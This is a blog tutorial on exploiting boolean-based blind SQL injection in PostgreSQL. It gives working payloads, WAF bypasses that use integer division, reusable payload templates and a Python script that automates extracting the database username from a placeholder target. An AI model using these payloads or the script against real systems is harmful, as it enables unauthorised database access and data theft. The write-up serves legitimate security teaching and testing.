Back to posts

Boolean-based Blind SQLi with Division-based Extraction

Introduction

Hi guys, today I will teach you how to exploit Boolean-based Blind SQL Injection. This is a technique I recently used on a penetration test to extract database usernames without any direct output from the application.

This one is a bit tricky because you are essentially flying blind. The app does not show you query results, error messages, or anything useful. All you get is a subtle difference in the response: data or no data. But that tiny difference? That is all you need.

Let’s dive in.

What is Boolean-based Blind SQLi?

In a typical SQL injection, you might see query results directly on the page. Usernames, emails, password hashes dumped right onto your screen. Easy stuff.

But in blind injection, you get nothing. The application does not display query output. Instead, you have to infer information based on how the application behaves:

  • Boolean-based: Different responses for true vs false conditions
  • Time-based: Response delays when conditions are true

Today we are focusing on boolean-based, where the app gives us different content depending on whether our injected condition is true or false.

The Scenario

I was testing a search endpoint that returned JSON data. Normal request and response looked like this:

Normal Request
GET /api/products?search=test HTTP/1.1
Host: target.com

When I threw a single quote at it:

Single Quote — Breaks Syntax
GET /api/products?search=' HTTP/1.1
Host: target.com

But with two quotes, back to normal with empty results:

Double Quote — Escapes Properly
GET /api/products?search='' HTTP/1.1
Host: target.com

This is a classic injection indicator. The single quote breaks the SQL syntax, the double quote escapes properly.

Finding the Right Payload

Here is where it got interesting. I tried the usual payloads:

SQL
' OR '1'='1
' AND '1'='1
' UNION SELECT NULL--

All errors. Something was filtering my input.

After a lot of trial and error, I found that string concatenation worked:

SQL
'||(SELECT+1)||'

This returned actual data! The + signs replace spaces (URL encoding), and the || is PostgreSQL’s concatenation operator.

But here is the catch. I could not use FROM. Any payload with FROM got blocked:

SQL
'||(SELECT+1+FROM+pg_user)||'  -- Blocked
FROM is Blocked
The WAF was stripping the FROM keyword entirely. This rules out SELECT ... FROM pg_user, information_schema, and similar table-based queries. Stick to built-in functions like current_user, current_database(), and version() which do not need a FROM clause.

The Boolean Logic

I discovered that the injected value controlled how many results came back – probably a LIMIT or similar. So:

SQL
'||(SELECT+1)||'   -- Returns data
'||(SELECT+0)||'   -- Returns empty
'||(SELECT+10)||'  -- Returns data (max was 10)

If my injected value equals 1 or more, I get data. If it equals 0, I get nothing. This gives us a true/false oracle we can use to extract information.

The Extraction Technique

Since I could not use comparison operators like > or < directly, I had to get creative. PostgreSQL integer division gave me what I needed.

SQL
100 / 100 = 1  -- returns data
100 / 101 = 0  -- returns empty
100 / 50  = 2  -- returns data

When you divide a number by something smaller or equal, you get 1 or more. When you divide by something larger, you get 0 — integer division truncates the decimal.

So the payload becomes:

SQL
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'

Breaking this down:

  • SUBSTRING(current_user,1,1) gets the first character of the username
  • ASCII(...) converts it to its ASCII number
  • /97 divides by 97 (lowercase a)
  • 1*(...) multiplies so the result becomes our injected value

If the first character’s ASCII value is 97 or higher, we get data. If lower than 97, we get empty. This is basically asking: “Is this character >= ‘a’?”

Binary Search: Finding Characters Efficiently

Instead of brute-forcing every ASCII value from 32 to 126, binary search cuts the range in half each time. Here is the full walkthrough for extracting the first character of current_user:

1

Step 1: Is it lowercase? (>= 97)

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'

Result: Data returned. Character is 97 or higher — lowercase range.

2

Step 2: Upper half of lowercase? (>= 110, 'n')

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/110))||'

Result: Empty. Character is between 97–109 (a through m).

3

Step 3: Is it >= 103 ('g')?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/103))||'

Result: Empty. Character is between 97–102 (a through f).

4

Step 4: Is it >= 100 ('d')?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/100))||'

Result: Empty. Character is between 97–99 (a, b, or c).

5

Step 5: Is it >= 98 ('b')?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/98))||'

Result: Empty. Only value left is 97 — that is 'a'.

5 requests to find one character. Brute forcing would have taken up to 26 for just lowercase letters.

Extracting the Full Username

Repeating this process for each character position:

Position ASCII Char
1 97 a
2 100 d
3 109 m
4 105 i
5 110 n
6 (empty, end of string)

The database username was admin.

ASCII Reference

ASCII Man Page
man ascii
ascii(7)                   Miscellaneous Information Manual                   ascii(7)

NAME
       ascii - ASCII character set encoded in octal, decimal, and hexadecimal

DESCRIPTION
       ASCII is the American Standard Code for Information Interchange. It is a 7-bit
       code. Many 8-bit codes (e.g., ISO/IEC 8859-1) contain ASCII as their lower half.
       The international counterpart of ASCII is known as ISO/IEC 646-IRV.

       The following table contains the 128 ASCII characters.

       C program '\X' escapes are noted.

       Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char
       ────────────────────────────────────────────────────────────────────────
       000   0     00    NUL '\0' (null character)   100   64    40    @
       001   1     01    SOH (start of heading)      101   65    41    A
       002   2     02    STX (start of text)         102   66    42    B
       003   3     03    ETX (end of text)           103   67    43    C
       004   4     04    EOT (end of transmission)   104   68    44    D
       005   5     05    ENQ (enquiry)               105   69    45    E
       006   6     06    ACK (acknowledge)           106   70    46    F
       007   7     07    BEL '\a' (bell)             107   71    47    G
       010   8     08    BS  '\b' (backspace)        110   72    48    H
       011   9     09    HT  '\t' (horizontal tab)   111   73    49    I
       012   10    0A    LF  '\n' (new line)         112   74    4A    J
       013   11    0B    VT  '\v' (vertical tab)     113   75    4B    K
       014   12    0C    FF  '\f' (form feed)        114   76    4C    L
       015   13    0D    CR  '\r' (carriage ret)     115   77    4D    M
       016   14    0E    SO  (shift out)             116   78    4E    N
       017   15    0F    SI  (shift in)              117   79    4F    O
       020   16    10    DLE (data link escape)      120   80    50    P
       021   17    11    DC1 (device control 1)      121   81    51    Q
       022   18    12    DC2 (device control 2)      122   82    52    R
 Manual page ascii(7) line 1 (press h for help or q to quit)

Detecting Character Type

Before binary searching, nail down what range you are dealing with first:

SQL
-- Test 1: Is it lowercase? (>= 97)
/97 -> Data  = lowercase or symbol above 97
/97 -> Empty = uppercase, number, or low symbol

-- Test 2: If not lowercase, is it uppercase? (>= 65)
/65 -> Data  = uppercase (65-90) or higher
/65 -> Empty = number or symbol below 65

-- Test 3: If not uppercase, is it a number? (>= 48)
/48 -> Data  = number (48-57)
/48 -> Empty = symbol below 48

Checking if a Character Exists

Before extracting each position, check if there is actually a character there:

SQL
'||(SELECT+1*(ASCII(SUBSTRING(current_user,6,1))/1))||'

Dividing by 1 means any character (ASCII 1 or higher) returns data. Empty response means you have hit the end of the string.

Filter Bypasses I Used

Here is what was blocked during this engagement and how I worked around each one.

Filter Bypass
FROM keyword Use current_user, current_database(), version() – no FROM needed
Spaces URL-encode as +
Dollar quoting $$ Avoided string literals entirely, stuck to functions
CASE WHEN Used multiplication and division for boolean logic instead

Payload Templates

Check if character exists at position N:

SQL
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/1))||'

Extract character at position N (test against threshold):

SQL
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/THRESHOLD))||'

For current_database():

SQL
'||(SELECT+1*(ASCII(SUBSTRING(current_database(),N,1))/THRESHOLD))||'

Automating the Process

Doing this manually works but gets tedious. Here is a Python script that handles the full extraction:

Python
import requests

def check(position, threshold, target="current_user"):
    payload = f"'||(SELECT+1*(ASCII(SUBSTRING({target},{position},1))/{threshold}))||'"
    response = requests.get(f"{url}?search={payload}")
    return len(response.json().get('results', [])) > 0

def extract_char(position):
    # Check if character exists
    if not check(position, 1):
        return None

    # Binary search
    low, high = 32, 126
    while low < high:
        mid = (low + high + 1) // 2
        if check(position, mid):
            low = mid
        else:
            high = mid - 1

    return chr(low)

def extract_string(target="current_user"):
    result = ""
    pos = 1
    while True:
        char = extract_char(pos)
        if char is None:
            break
        result += char
        print(f"[+] Position {pos}: {char} (Current: {result})")
        pos += 1
    return result

# Usage
url = "https://target.com/api/products"
username = extract_string("current_user")
print(f"[+] Extracted: {username}")

Key Takeaways

TL;DR
  1. Boolean-based blind SQLi relies on true/false responses, not direct output
  2. Integer division can replace comparison operators when they are filtered
  3. Binary search reduces requests from potentially 94 (printable ASCII) to about 7 per character
  4. Always check if a character exists before trying to extract it
  5. Built-in functions like current_user do not need FROM clauses

Conclusion

Boolean-based blind SQL injection takes patience and creativity, especially when dealing with filters. The key is finding what syntax the application accepts and building your boolean logic around it.

In this case, the division trick turned a seemingly unexploitable injection into full data extraction. The FROM keyword being blocked seemed like a dead end until I realized PostgreSQL functions could give me what I needed without it.

Hope this helps you on your next engagement.

Happy hacking!

Spot a mistake? Report it on GitHub.